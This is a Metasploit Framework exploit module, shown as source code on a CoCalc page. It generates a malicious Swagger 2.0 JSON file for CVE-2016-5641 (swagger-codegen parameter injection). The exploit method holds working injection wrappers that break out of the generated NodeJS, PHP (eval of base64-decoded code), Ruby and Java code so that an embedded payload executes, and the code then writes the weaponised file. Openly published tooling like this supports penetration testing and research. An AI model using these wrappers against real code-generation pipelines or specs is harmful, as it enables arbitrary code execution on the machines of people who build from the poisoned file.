Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/fileformat/swagger_param_inject.rb
31871 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
#
7
# Gems
8
#
9
require 'base64'
10
11
#
12
# Project
13
#
14
15
class MetasploitModule < Msf::Exploit::Remote
16
Rank = ExcellentRanking
17
18
include Msf::Exploit::FILEFORMAT
19
20
def initialize(info = {})
21
super(
22
update_info(
23
info,
24
'Name' => 'JSON Swagger CodeGen Parameter Injector',
25
'Description' => %q{
26
This module generates an Open API Specification 2.0 (Swagger) compliant
27
json document that includes payload insertion points in parameters.
28
29
In order for the payload to be executed, an attacker must convince
30
someone to generate code from a specially modified swagger.json file
31
within a vulnerable swagger-codgen appliance/container/api/service,
32
and then to execute that generated code (or include it into software
33
which will later be executed by another victim). By doing so, an
34
attacker can execute arbitrary code as the victim user. The same
35
vulnerability exists in the YAML format.
36
},
37
'License' => MSF_LICENSE,
38
'Author' => [
39
'ethersnowman <[email protected]>'
40
],
41
'References' => [
42
[ 'CVE', '2016-5641' ],
43
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
44
[ 'URL', 'https://www.rapid7.com/blog/post/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
45
],
46
'Targets' => [
47
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
48
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
49
['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
50
['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
51
],
52
'DisclosureDate' => '2016-06-23',
53
'DefaultTarget' => 0,
54
'Notes' => {
55
'Reliability' => UNKNOWN_RELIABILITY,
56
'Stability' => UNKNOWN_STABILITY,
57
'SideEffects' => UNKNOWN_SIDE_EFFECTS
58
}
59
)
60
)
61
62
register_options(
63
[
64
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
65
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
66
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
67
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
68
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http', 'https', 'ws', 'wss']]),
69
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
70
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
71
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
72
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
73
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
74
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
75
]
76
)
77
end
78
79
def swagger
80
%(
81
{
82
"swagger": "2.0",
83
"info": {
84
"description": "#{datastore['INFO_DESCRIPTION']}",
85
"version": "#{datastore['INFO_VERSION']}",
86
"title": "#{datastore['INFO_TITLE']}"
87
},
88
"schemes": [
89
"#{datastore['SWAGGER_SCHEME']}"
90
],
91
"host": "#{datastore['SWAGGER_HOST']}",
92
"basePath": "#{datastore['BASE_PATH']}",
93
"produces": [
94
"application/json"
95
],
96
"consumes": [
97
"application/json"
98
],
99
"paths": {
100
"#{datastore['PATH']}": {
101
"get": {
102
"description": "#{datastore['PATH_DESCRIPTION']}",
103
"responses": {
104
"200": {
105
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
106
"schema": {
107
"$ref": "#/definitions/d"
108
}
109
}
110
}
111
}
112
}
113
},
114
"definitions": {
115
"d": {
116
"type": "object",
117
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
118
"properties": {
119
"id": {
120
"type": "integer",
121
"format": "int64"
122
}
123
}
124
}
125
}
126
}
127
)
128
end
129
130
def exploit
131
case payload.arch[0]
132
when 'nodejs'
133
payload_loc = 'PATH'
134
payload_prefix = "/a');};};return exports;}));"
135
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
136
wrapped_payload = payload_prefix + payload.encoded.gsub(/"/, '\\"') + payload_suffix
137
when 'php'
138
payload_loc = 'INFO_DESCRIPTION'
139
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
140
payload_suffix = "')); /*"
141
wrapped_payload = payload_prefix +
142
Base64.strict_encode64(payload.encoded) +
143
payload_suffix
144
when 'ruby'
145
payload_loc = 'INFO_TITLE'
146
payload_prefix = '=end '
147
payload_suffix = '=begin '
148
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
149
when 'java'
150
payload_loc = 'PATH'
151
payload_prefix = %q{a\\\"; "}
152
p = payload.encoded.gsub(/<%@page import="/, 'import ')
153
p = p.gsub(/"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
154
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
155
wrapped_payload = payload_prefix + p
156
else
157
raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
158
end
159
160
datastore[payload_loc] = wrapped_payload
161
162
print_status swagger
163
file_create swagger
164
end
165
end
166
167